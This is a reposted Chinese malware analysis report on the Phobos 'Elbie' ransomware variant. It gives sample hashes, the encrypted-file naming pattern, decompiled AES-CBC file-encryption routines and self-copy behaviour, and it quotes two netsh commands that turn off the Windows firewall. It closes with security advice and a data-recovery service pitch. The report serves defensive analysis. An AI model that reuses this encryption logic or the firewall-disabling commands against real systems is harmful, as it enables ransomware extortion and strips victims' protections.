欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 文旅 > 旅游 > 【病毒分析】phobos家族Elbie变种加密器分析报告

【病毒分析】phobos家族Elbie变种加密器分析报告

2024/10/24 11:17:39 来源:https://blog.csdn.net/2401_83062893/article/details/142527915  浏览:    关键词:【病毒分析】phobos家族Elbie变种加密器分析报告

1.样本信息

⽂件名Fast【phobos家族Elbie变种加密器】.exe
SHA256e18d3d15a27ffa48cef12de79ac566bfbd96f6f4a1477e5986bc4a100227d8a3
MD5f1ecac228e48c7b9758dacfca9356b1f
SHA1d9f32b053310a9400fef4d68ae8a8ce70594eaad

2.感染迹象

文件被加密并重命名如下格式1.png.id[8E1EA49A-3354].[metro777@cock.li].Elbie

防火墙被关闭,利用netsh命令关闭防火墙。

图片

3.加密文件特征

文件被加密并重命名如下格式1.png.id[8E1EA49A-3354].[metro777@cock.li].Elbie

图片

图片

被加密的文件的后8 Byte为固定值。

4.文件加密

int __usercall encode@<eax>(const WCHAR *a1@<edi>, int a2, int a3, const WCHAR *lpFileName, char a5)
{int FileW; // ebxDWORD FileAttributesW; // eaxint v7; // eaxLARGE_INTEGER FileSize; // [esp+8h] [ebp-20h] BYREFLARGE_INTEGER v10; // [esp+10h] [ebp-18h]DWORD dwFileAttributes; // [esp+1Ch] [ebp-Ch]DWORD v12; // [esp+20h] [ebp-8h]int v13; // [esp+24h] [ebp-4h]v13 = 0;FileW = (int)CreateFileW(a1, 0x80000000, 7u, 0, 3u, 0, 0);if ( FileW == -1 )return v13;if ( !GetFileSizeEx((HANDLE)FileW, &FileSize) )goto LABEL_15;CloseHandle((HANDLE)FileW);FileW = -1;v10 = FileSize;if ( FileSize.QuadPart ){FileAttributesW = GetFileAttributesW(a1);dwFileAttributes = FileAttributesW;if ( FileAttributesW != -1 ){v12 = FileAttributesW & 1;if ( (FileAttributesW & 1) != 0 )SetFileAttributesW(a1, FileAttributesW & 0xFFFFFFFE);v7 = (a5 & 1) != 0 || v10.QuadPart < 0x180000ui64? sub_408782(a3, a1, lpFileName, a5): sub_408C42(a3, a1, lpFileName, a5);v13 = v7;if ( v12 ){if ( v7 ){SetFileAttributesW(lpFileName, dwFileAttributes);return v13;}SetFileAttributesW(a1, dwFileAttributes);
LABEL_15:if ( FileW != -1 )CloseHandle((HANDLE)FileW);}}}return v13;
}

此函数大致逻辑为:

  • 函数尝试使用CreateFileW打开文件,并检查操作是否成功。如果不成功,则返回

  • 然后使用GetFileSizeEx获取文件大小,若文件为空,则关闭句柄并返回

  • 使用GetFileAttributesW检索文件属性,检查文件属性中的只读标志,如果文件是只读的,接下来的代码会使用SetFileAttributesW函数将只读标志清除

  • 根据文文件大小是否小于 0x180000,调用sub_408782sub_408C42函数

此代码通过加密现有文件来创建一个新文件。该函数接受现有文件的文件名、密码和要创建的新文件的文件名称。该函数分块读取现有文件,对每个块进行加密,并将加密的块写入新文件。加密是通过使用密码和文件属性计算哈希值来完成的。哈希值用于对文件数据进行块加密。该函数还将新文件的文件属性设置为与现有文件匹配。

sub_408782函数的关键逻辑如下:

while ( ReadFile(hFile, (LPVOID)a1[8], nNumberOfBytesToRead, &nNumberOfBytesToWrite, 0) )
{if ( nNumberOfBytesToWrite < nNumberOfBytesToRead ){dwFlagsAndAttributes = 16 - (nNumberOfBytesToWrite & 0xF);sub_408FA9(nNumberOfBytesToWrite + a1[8], 0, dwFlagsAndAttributes);nNumberOfBytesToWrite += dwFlagsAndAttributes;}if ( !sub_406432(v16, a1[8], a1[8])|| !WriteFile(hObject, (LPCVOID)a1[8], nNumberOfBytesToWrite, &NumberOfBytesWritten, 0)|| NumberOfBytesWritten != nNumberOfBytesToWrite ){break;}if ( nNumberOfBytesToWrite < nNumberOfBytesToRead ){v15 = v18;*v7 = 0;v14 = v19;v7[1] = 2;v13 = (int)v20;v7[2] = -257466862;v7[6] = 32;sub_408FD7(v13, v14, v15);sub_408FD7(v9, a1 + 1, 20);sub_408FD7(v9 + 20, a2, 16);sub_408FD7(v9 + 40, *a1 + 32, 128);sub_408FD7(v9 + 172, a1 + 6, 6);v11 = v22;*((_DWORD *)v9 + 9) = dwFlagsAndAttributes;*((_DWORD *)v9 + 42) = v11 + 178;if ( !sub_40669B(v17, *a1, a2) ){if ( sub_406432(v17, a1[8], a1[8]) ){sub_408FA9(v17, 0, 296);if ( WriteFile(hObject, (LPCVOID)a1[8], *((_DWORD *)v9 + 42), &NumberOfBytesWritten, 0) ){if ( NumberOfBytesWritten == *((_DWORD *)v9 + 42) ){if ( (a5 & 4) != 0 )sub_4086B7(hFile);if ( (a5 & 2) != 0 ){FlushFileBuffers(hFile);FlushFileBuffers(hObject);}v23 = 1;}}}}break;}
}

其中函数sub_406432为加密函数,a2为密钥,通过函数sub_C6669B生成加密需要使用的数据。

加密完文件内容后会加密文件的基础信息,包括文件名等信息,其中,生成密钥的a2也会被加密放入文件末尾,经过动调调试得到,加密文件内容的v16的值与加密文件信息的v17值并不相同。

在此处下断点:

图片

图片

被加密的数据如下:

0348F020  00 00 00 00 02 00 00 00  12 5E A7 F0 79 6F A5 46  .........^.....F
0348F030  37 80 23 35 7A 83 51 3B  20 00 00 00 9E 3F 4F 64  7.#5z.Q; ....?Od
0348F040  43 00 55 00 41 00 73 00  73 00 69 00 73 00 74 00  C.U.A.s.s.i.s.t.
0348F050  61 00 6E 00 74 00 54 00  61 00 73 00 6B 00 2E 00  a.n.t.T.a.s.k...
0348F060  78 00 6D 00 6C 00 00 00  F8 FC 14 D4 F7 93 92 4A  x.m.l..........J

其中包括当前文件的文件名CUAssistantTask.xml

查看此函数的其余变量可得到文件路径为C:\Program Files\CUAssistant\CUAssistantTask.xml

a1为结构体,包括加密缓冲区与加密需要的信息。

执行结束后删除源文件。

函数sub_408C42的加密流程与函数sub_408782一致,区别是sub_408C42是部分加密。

加密的核心算法如下,分析为aes_crypt_cbc

int __usercall sub_406A04@<eax>(unsigned __int8 *a1@<eax>, int a2@<esi>, int *a3)
{_DWORD *v3; // ecxunsigned int v4; // ebx_DWORD *v5; // ecxbool v6; // ccunsigned int v7; // edxunsigned int v8; // ediint v9; // edxint v11; // [esp+8h] [ebp-18h]int v12; // [esp+Ch] [ebp-14h]unsigned int v13; // [esp+10h] [ebp-10h]unsigned int v14; // [esp+10h] [ebp-10h]unsigned int v15; // [esp+14h] [ebp-Ch]unsigned int v16; // [esp+14h] [ebp-Ch]unsigned int v17; // [esp+14h] [ebp-Ch]unsigned int v18; // [esp+18h] [ebp-8h]int v19; // [esp+18h] [ebp-8h]unsigned int v20; // [esp+1Ch] [ebp-4h]unsigned int v21; // [esp+28h] [ebp+8h]unsigned int v22; // [esp+28h] [ebp+8h]v3 = a3[1];v20 = *v3 ^ (*a1 | ((a1[1] | (*(a1 + 1) << 8)) << 8));v18 = v3[1] ^ (a1[4] | ((a1[5] | ((a1[6] | (a1[7] << 8)) << 8)) << 8));v4 = v3[2] ^ (a1[8] | ((a1[9] | ((a1[10] | (a1[11] << 8)) << 8)) << 8));v15 = v3[3] ^ (a1[12] | ((a1[13] | ((a1[14] | (a1[15] << 8)) << 8)) << 8));v5 = v3 + 4;v11 = (*a3 >> 1) - 1;v6 = v11 <= 0;while ( !v6 ){v21 = v5[1] ^ dword_40D170[v18] ^ dword_40C570[HIBYTE(v20)] ^ dword_40CD70[BYTE1(v4)] ^ dword_40C970[BYTE2(v15)];v13 = v5[2] ^ dword_40D170[v4] ^ dword_40C570[HIBYTE(v18)] ^ dword_40C970[BYTE2(v20)] ^ dword_40CD70[BYTE1(v15)];v7 = *v5 ^ dword_40D170[v20] ^ dword_40C570[HIBYTE(v15)] ^ dword_40CD70[BYTE1(v18)] ^ dword_40C970[BYTE2(v4)];v16 = v5[3] ^ dword_40D170[v15] ^ dword_40C570[HIBYTE(v4)] ^ dword_40CD70[BYTE1(v20)] ^ dword_40C970[BYTE2(v18)];v20 = v5[4] ^ dword_40D170[v7] ^ dword_40C570[HIBYTE(v16)] ^ dword_40CD70[BYTE1(v21)] ^ dword_40C970[BYTE2(v13)];v18 = v5[5] ^ dword_40D170[v21] ^ dword_40C570[HIBYTE(v7)] ^ dword_40CD70[BYTE1(v13)] ^ dword_40C970[BYTE2(v16)];v4 = v5[6] ^ dword_40D170[v13] ^ dword_40C570[HIBYTE(v21)] ^ dword_40C970[BYTE2(v7)] ^ dword_40CD70[BYTE1(v16)];v5 += 8;v6 = --v11 <= 0;v15 = *(v5 - 1) ^ dword_40D170[v16] ^ dword_40C570[HIBYTE(v13)] ^ dword_40CD70[BYTE1(v7)] ^ dword_40C970[BYTE2(v21)];}v22 = v5[1] ^ dword_40D170[v18] ^ dword_40C570[HIBYTE(v20)] ^ dword_40CD70[BYTE1(v4)] ^ dword_40C970[BYTE2(v15)];v14 = v5[2] ^ dword_40D170[v4] ^ dword_40C570[HIBYTE(v18)] ^ dword_40C970[BYTE2(v20)] ^ dword_40CD70[BYTE1(v15)];v8 = *v5 ^ dword_40D170[v20] ^ dword_40C570[HIBYTE(v15)] ^ dword_40CD70[BYTE1(v18)] ^ dword_40C970[BYTE2(v4)];v17 = v5[3] ^ dword_40D170[v15] ^ dword_40C570[HIBYTE(v4)] ^ dword_40CD70[BYTE1(v20)] ^ dword_40C970[BYTE2(v18)];v19 = v5[5] ^ byte_40B448[v22] ^ ((byte_40B448[BYTE1(v14)] ^ (((byte_40B448[HIBYTE(v8)] << 8) ^ byte_40B448[BYTE2(v17)]) << 8)) << 8);v12 = v5[6] ^ byte_40B448[v14] ^ ((byte_40B448[BYTE1(v17)] ^ (((byte_40B448[HIBYTE(v22)] << 8) ^ byte_40B448[BYTE2(v8)]) << 8)) << 8);v9 = v5[7] ^ byte_40B448[v17] ^ ((byte_40B448[BYTE1(v8)] ^ (((byte_40B448[HIBYTE(v14)] << 8) ^ byte_40B448[BYTE2(v22)]) << 8)) << 8);*a2 = v5[4] ^ byte_40B448[v8] ^ ((byte_40B448[BYTE1(v22)] ^ (((byte_40B448[HIBYTE(v17)] << 8) ^ byte_40B448[BYTE2(v14)]) << 8)) << 8);*(a2 + 4) = v19;*(a2 + 8) = v12;*(a2 + 11) = HIBYTE(v12);*(a2 + 12) = v9;*(a2 + 14) = BYTE2(v9);*(a2 + 10) = BYTE2(v12);*(a2 + 15) = HIBYTE(v9);return 0;
}
int __usercall sub_406F2A@<eax>(unsigned __int8 *a1@<eax>, int a2@<esi>, int *a3)
{_DWORD *v3; // ecxint v4; // ebxunsigned int v5; // edx_DWORD *v6; // ecxbool v7; // ccunsigned int v8; // edxunsigned int v9; // ediint v10; // edxint v11; // ebxint v13; // [esp+8h] [ebp-18h]unsigned int v14; // [esp+Ch] [ebp-14h]int v15; // [esp+Ch] [ebp-14h]unsigned __int8 v16; // [esp+10h] [ebp-10h]unsigned int v17; // [esp+10h] [ebp-10h]unsigned int v18; // [esp+10h] [ebp-10h]unsigned int v19; // [esp+14h] [ebp-Ch]unsigned int v20; // [esp+14h] [ebp-Ch]unsigned int v21; // [esp+18h] [ebp-8h]unsigned int v22; // [esp+1Ch] [ebp-4h]int v23; // [esp+1Ch] [ebp-4h]unsigned int v24; // [esp+28h] [ebp+8h]unsigned int v25; // [esp+28h] [ebp+8h]v3 = (_DWORD *)a3[1];v22 = v3[1] ^ (a1[4] | ((a1[5] | (*((unsigned __int16 *)a1 + 3) << 8)) << 8));v4 = *v3 ^ (*a1 | ((a1[1] | (*((unsigned __int16 *)a1 + 1) << 8)) << 8));v21 = v3[2] ^ (a1[8] | ((a1[9] | ((a1[10] | (a1[11] << 8)) << 8)) << 8));v5 = v3[3] ^ (a1[12] | ((a1[13] | ((a1[14] | (a1[15] << 8)) << 8)) << 8));v6 = v3 + 4;v14 = v4;v13 = (*a3 >> 1) - 1;v7 = v13 <= 0;while ( 1 ){v16 = v5;if ( v7 )break;v24 = *v6 ^ dword_40C170[(unsigned __int8)v4] ^ dword_40B548[HIBYTE(v22)] ^ dword_40B948[BYTE2(v21)] ^ dword_40BD70[BYTE1(v5)];v19 = v6[2] ^ dword_40C170[(unsigned __int8)v21] ^ dword_40B548[HIBYTE(v5)] ^ dword_40B948[BYTE2(v4)] ^ dword_40BD70[BYTE1(v22)];v8 = v6[1] ^ dword_40C170[(unsigned __int8)v22] ^ dword_40B548[HIBYTE(v21)] ^ dword_40BD70[BYTE1(v4)] ^ dword_40B948[BYTE2(v5)];v17 = v6[3] ^ dword_40C170[v16] ^ dword_40B548[HIBYTE(v14)] ^ dword_40B948[BYTE2(v22)] ^ dword_40BD70[BYTE1(v21)];v14 = v6[4] ^ dword_40C170[(unsigned __int8)v24] ^ dword_40B548[HIBYTE(v8)] ^ dword_40B948[BYTE2(v19)] ^ dword_40BD70[BYTE1(v17)];v22 = v6[5] ^ dword_40C170[(unsigned __int8)v8] ^ dword_40B548[HIBYTE(v19)] ^ dword_40BD70[BYTE1(v24)] ^ dword_40B948[BYTE2(v17)];v4 = v14;v21 = v6[6] ^ dword_40C170[(unsigned __int8)v19] ^ dword_40B548[HIBYTE(v17)] ^ dword_40B948[BYTE2(v24)] ^ dword_40BD70[BYTE1(v8)];v6 += 8;v7 = --v13 <= 0;v5 = *(v6 - 1) ^ dword_40C170[(unsigned __int8)v17] ^ dword_40B548[HIBYTE(v24)] ^ dword_40B948[BYTE2(v8)] ^ dword_40BD70[BYTE1(v19)];}v25 = *v6 ^ dword_40C170[(unsigned __int8)v4] ^ dword_40B548[HIBYTE(v22)] ^ dword_40B948[BYTE2(v21)] ^ dword_40BD70[BYTE1(v5)];v9 = v6[1] ^ dword_40C170[(unsigned __int8)v22] ^ dword_40B548[HIBYTE(v21)] ^ dword_40BD70[BYTE1(v4)] ^ dword_40B948[BYTE2(v5)];v20 = v6[2] ^ dword_40C170[(unsigned __int8)v21] ^ dword_40B548[HIBYTE(v5)] ^ dword_40B948[BYTE2(v4)] ^ dword_40BD70[BYTE1(v22)];v18 = v6[3] ^ dword_40C170[(unsigned __int8)v5] ^ dword_40B548[HIBYTE(v14)] ^ dword_40B948[BYTE2(v22)] ^ dword_40BD70[BYTE1(v21)];v15 = v6[4] ^ (unsigned __int8)byte_40D570[*(_BYTE *)v6 ^ LOBYTE(dword_40C170[(unsigned __int8)v4]) ^ LOBYTE(dword_40B548[HIBYTE(v22)]) ^ LOBYTE(dword_40B948[BYTE2(v21)]) ^ LOBYTE(dword_40BD70[BYTE1(v5)])] ^ (((unsigned __int8)byte_40D570[BYTE1(v18)] ^ ((((unsigned __int8)byte_40D570[HIBYTE(v9)] << 8) ^ (unsigned __int8)byte_40D570[BYTE2(v20)]) << 8)) << 8);v23 = v6[5] ^ (unsigned __int8)byte_40D570[*((_BYTE *)v6 + 4) ^ LOBYTE(dword_40C170[(unsigned __int8)v22]) ^ LOBYTE(dword_40B548[HIBYTE(v21)]) ^ LOBYTE(dword_40BD70[BYTE1(v4)]) ^ LOBYTE(dword_40B948[BYTE2(v5)])] ^ (((unsigned __int8)byte_40D570[BYTE1(v25)] ^ ((((unsigned __int8)byte_40D570[HIBYTE(v20)] << 8) ^ (unsigned __int8)byte_40D570[BYTE2(v18)]) << 8)) << 8);v10 = v6[6] ^ (unsigned __int8)byte_40D570[(unsigned __int8)v20] ^ (((unsigned __int8)byte_40D570[BYTE1(v9)] ^ ((((unsigned __int8)byte_40D570[HIBYTE(v18)] << 8) ^ (unsigned __int8)byte_40D570[BYTE2(v25)]) << 8)) << 8);v11 = v6[7] ^ (unsigned __int8)byte_40D570[(unsigned __int8)v18] ^ (((unsigned __int8)byte_40D570[BYTE1(v20)] ^ ((((unsigned __int8)byte_40D570[HIBYTE(v25)] << 8) ^ (unsigned __int8)byte_40D570[BYTE2(v9)]) << 8)) << 8);*(_DWORD *)a2 = v15;*(_WORD *)(a2 + 4) = v23;*(_BYTE *)(a2 + 7) = HIBYTE(v23);*(_BYTE *)(a2 + 9) = BYTE1(v10);*(_BYTE *)(a2 + 10) = BYTE2(v10);*(_WORD *)(a2 + 12) = v11;*(_BYTE *)(a2 + 8) = v10;*(_BYTE *)(a2 + 14) = BYTE2(v11);*(_BYTE *)(a2 + 15) = HIBYTE(v11);*(_BYTE *)(a2 + 6) = BYTE2(v23);*(_BYTE *)(a2 + 11) = HIBYTE(v10);return 0;
}
int __cdecl sub_407447(_DWORD *a1, int a2, _BYTE *a3, _DWORD *a4)
{int v4; // ecxchar *v5; // eaxunsigned int v7; // ebx_BYTE *v8; // eaxint v9; // esiint v10; // ebx_DWORD *v11; // esi_BYTE *v12; // eaxint v13; // ecx_DWORD *v14; // esibool v15; // zfint v16; // [esp+0h] [ebp-18h]int v17; // [esp+4h] [ebp-14h]int v18; // [esp+8h] [ebp-10h]int v19; // [esp+Ch] [ebp-Ch]int v20; // [esp+10h] [ebp-8h]unsigned int v21; // [esp+10h] [ebp-8h]int *v22; // [esp+14h] [ebp-4h]v5 = (char *)(a1 + 2);if ( (v4 & 0xF) != 0 )return -34;if ( a2 ){if ( v4 ){v10 = v5 - a3;v21 = ((unsigned int)(v4 - 1) >> 4) + 1;do{v11 = a4;v12 = a3;v13 = 16;do{v12[(char *)a4 - a3] = *v12 ^ v12[v10];++v12;--v13;}while ( v13 );if ( a2 == 1 )sub_406A04(a1);elsesub_406F2A(a1);a3 += 16;a4 += 4;a1[2] = *v11;v14 = v11 + 1;a1[3] = *v14++;a1[4] = *v14;v10 -= 16;v15 = v21-- == 1;a1[5] = v14[1];}while ( !v15 );}}else if ( v4 ){v22 = (int *)a3;v20 = v5 - (char *)a4;v7 = ((unsigned int)(v4 - 1) >> 4) + 1;do{v16 = *v22;v17 = v22[1];v18 = v22[2];v19 = v22[3];sub_406F2A(a1);v8 = a4;v9 = 16;do{*v8 ^= v8[v20];++v8;--v9;}while ( v9 );v22 += 4;v20 -= 16;--v7;a1[2] = v16;a1[3] = v17;a1[4] = v18;a1[5] = v19;a4 = v8;}while ( v7 );}return 0;
}

    上述代码可以解释为:

int aes_crypt_cbc( aes_context *ctx,int mode,const unsigned char iv[16],const unsigned char *input,unsigned char *output,unsigned int length )
{int i;unsigned char temp[16];if( length % 16 )return( POLARSSL_ERR_AES_INVALID_INPUT_LENGTH );
# 510 "aes.c"if( mode == AES_DECRYPT ){while( length > 0 ){memcpy( temp, input, 16 );aes_crypt_ecb( ctx, AES_DECRYPT, input, output );for( i = 0; i < 16; i++ )output[i] = (unsigned char)( output[i] ^ iv[i] );memcpy( iv, temp, 16 );input  += 16;output += 16;length -= 16;}}else{while( length > 0 ){for( i = 0; i < 16; i++ )output[i] = (unsigned char)( input[i] ^ iv[i] );aes_crypt_ecb( ctx, AES_ENCRYPT, output, output );memcpy( iv, output, 16 );input  += 16;output += 16;length -= 16;}}return( 0 );
}

    使用AES算法在CBC模式下对输入数据进行加密。

    在函数sub_40646A生成AES算法中所需的S-Box、Rcon(轮常数)和变换表的函数。

int sub_40646A()
{int v0; // ecxint v1; // ebxint v2; // eaxint v3; // eaxint *v4; // ecxint v5; // eaxint v6; // ecxint v7; // edxint v8; // eaxint v9; // ecxint v10; // eaxint v11; // ediint v12; // edxint v13; // eaxint v14; // ecxint v15; // eaxint v16; // eaxint v17; // edxint v18; // edxint v19; // edxint v20; // eaxint result; // eaxint v22[255]; // [esp+Ch] [ebp-80Ch]char v23[40]; // [esp+408h] [ebp-410h]int v24; // [esp+430h] [ebp-3E8h]int v25; // [esp+438h] [ebp-3E0h]int v26; // [esp+440h] [ebp-3D8h]int v27; // [esp+444h] [ebp-3D4h]int v28; // [esp+80Ch] [ebp-Ch]int v29; // [esp+810h] [ebp-8h]int v30; // [esp+814h] [ebp-4h]v0 = 0;v1 = 1;v2 = 1;do{v22[v0] = v2;*(_DWORD *)&v23[4 * v2 + 4] = v0;v2 = (unsigned __int8)((2 * v2) ^ ((char)(v2 & 0x80) != 0 ? 0x1B : 0) ^ v2);++v0;}while ( v0 < 256 );v3 = 1;v4 = &dword_40BD48;do{*v4++ = v3;v3 = (unsigned __int8)(((char)(v3 & 0x80) != 0 ? 0x1B : 0) ^ (2 * v3));}while ( (int)v4 < (int)dword_40BD70 );byte_40B448[0] = 99;byte_40D5D3 = 0;do{v5 = *(_DWORD *)&v23[-4 * *(_DWORD *)&v23[4 * v1 + 4]];v6 = (unsigned __int8)((2 * v5) | (v5 >> 7));v7 = (unsigned __int8)((2 * v6) | (v6 >> 7));v8 = v7 ^ v6 ^ v5;v9 = (unsigned __int8)((2 * v7) | (v7 >> 7));v10 = (unsigned __int8)((2 * v9) | (v9 >> 7)) ^ 0x63 ^ v9 ^ v8;byte_40B448[v1] = v10;byte_40D570[v10] = v1++;}while ( v1 < 256 );v11 = 0;do{v12 = (unsigned __int8)byte_40B448[v11];v13 = (unsigned __int8)((2 * v12) ^ ((char)(byte_40B448[v11] & 0x80) != 0 ? 0x1B : 0)) ^ ((v12 ^ ((v12 ^ ((v12 ^ (unsigned __int8)((2 * v12) ^ ((char)(byte_40B448[v11] & 0x80) != 0 ? 0x1B : 0))) << 8)) << 8)) << 8);v14 = v11;dword_40D170[v11] = v13;v15 = __ROL4__(v13, 8);dword_40CD70[v11] = v15;v16 = __ROL4__(v15, 8);dword_40C970[v11] = v16;dword_40C570[v11] = __ROL4__(v16, 8);if ( byte_40D570[v11] )v30 = v22[(v27 + *(_DWORD *)&v23[4 * (unsigned __int8)byte_40D570[v11] + 4]) % 255];elsev30 = 0;if ( byte_40D570[v11] )v28 = v22[(v24 + *(_DWORD *)&v23[4 * (unsigned __int8)byte_40D570[v11] + 4]) % 255];elsev28 = 0;if ( byte_40D570[v11] )v29 = v22[(v26 + *(_DWORD *)&v23[4 * (unsigned __int8)byte_40D570[v11] + 4]) % 255];elsev29 = 0;if ( byte_40D570[v11] )v17 = v22[(v25 + *(_DWORD *)&v23[4 * (unsigned __int8)byte_40D570[v11] + 4]) % 255];elsev17 = 0;v18 = v30 ^ ((v28 ^ ((v29 ^ (v17 << 8)) << 8)) << 8);++v11;dword_40C170[v14] = v18;v19 = __ROL4__(v18, 8);dword_40BD70[v14] = v19;v20 = __ROL4__(v19, 8);dword_40B948[v14] = v20;result = __ROL4__(v20, 8);dword_40B548[v14] = result;}while ( v11 < 256 );return result;
}

5.其余行为

5.1自拷贝

    程序会将自身拷贝到系统关键目录。

图片

 

图片

5.2文件释放

    释放了2个文件info.txtinfo.hta,均为勒索信息。

图片

5.3关闭防火墙

    执行了下列2个语句。

netsh  advfirewall set currentprofile state off
netsh  firewall set opmode mode=disable

6.安全建议

6.1 风险消减措施

资产梳理排查目标:根据实际情况,对内外网资产进行分时期排查

服务方式:调研访谈、现场勘查、工具扫描

服务关键内容:流量威胁监测系统排查、互联网暴露面扫描服务、技术加固服务、集权系统排查

图片

6.2 安全设备调优

目标

通过对安全现状的梳理和分析,识别安全策略上的不足,结合目标防御、权限最小化、缩小攻击面等一系列参考原则,对设备的相关配置策略进行改进调优,一方面,减低无效或低效规则的出现频次;另一方面,对缺失或遗漏的规则进行补充,实现将安全设备防护能力最优化。

图片

主要目标设备

网络安全防护设备、系统防护软件、日志审计与分析设备、安全监测与入侵识别设备。

6.3 全员安全意识增强调优

目标:

通过网络安全意识宣贯、培训提升全方位安全能力

形式:

培训及宣贯

图片

线下培训课表

若无法组织线下的集体培训,考虑两种方式:

1.提供相关的安全意识培训材料,由上而下分发学习

2.组织相关人员线上开会学习。线上培训模式。

图片

线上学习平台

7.团队介绍

团队坚持自主研发及创新,在攻防演练平台、网络安全竞赛平台、网络安全学习平台方面加大研发投入,目前已获得十几项专利及知识产权。团队也先后通过了ISO9001质量管理体系、ISO14000环境管理体系、ISO45001职业安全健康管理体系 、ITSS(信息技术服务运行维护标准四级)等认证,已构建了网络安全行业合格的资质体系;

8.我们的数据恢复服务流程

    多年的数据恢复处理经验,在不断对客户服务优化的过程中搭建了"免费售前+安心保障+专业恢复+安全防御"一体化的专业服务流程。

① 免费咨询/数据诊断分析

       专业的售前技术顾问服务,免费在线咨询,可第一时间获取数据中毒后的正确处理措施,防范勒索病毒在内网进一步扩散或二次执行,避免错误操作导致数据无法恢复。

       售前技术顾问沟通了解客户的机器中毒相关信息,结合团队数据恢复案例库的相同案例进行分析评估,初步诊断分析中毒数据的加密/损坏情况。

② 评估报价/数据恢复方案

       您获取售前顾问的初步诊断评估信息后,若同意进行进一步深入的数据恢复诊断,我们将立即安排专业病毒分析工程师及数据恢复工程师进行病毒逆向分析及数据恢复检测分析。

       专业数据恢复工程师根据数据检测分析结果,定制数据恢复方案(恢复价格/恢复率/恢复工期),并为您解答数据恢复方案的相关疑问。

③ 确认下单/签订合同

       您清楚了解数据恢复方案后,您可自主选择以下下单方式:

双方签署对公合同:根据中毒数据分析情况,量身定制输出数据恢复合同,合同内明确客户的数据恢复内容、数据恢复率、恢复工期及双方权责条款,双方合同签订,正式进入数据恢复专业施工阶段,数据恢复后进行验证确认,数据验证无误,交易完成。

④ 开始数据恢复专业施工

      安排专业数据恢复工程师团队全程服务,告知客户数据恢复过程注意事项及相关方案措施,并可根据客户需求及数据情况,可选择上门恢复/远程恢复。

      数据恢复过程中,团队随时向您报告数据恢复每一个节点工作进展(数据扫描 → 数据检测 → 数据确认 → 恢复工具定制 → 执行数据恢复 → 数据完整性确认)。

⑤ 数据验收/安全防御方案

      完成数据恢复后,我司将安排数据分析工程师进行二次检查确认数据恢复完整性,充分保障客户的数据恢复权益,二次检测确认后,通知客户进行数据验证。

      客户对数据进行数据验证完成后,我司将指导后续相关注意事项及安全防范措施,并可提供专业的企业安全防范建设方案及安全顾问服务,抵御勒索病毒再次入侵。

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com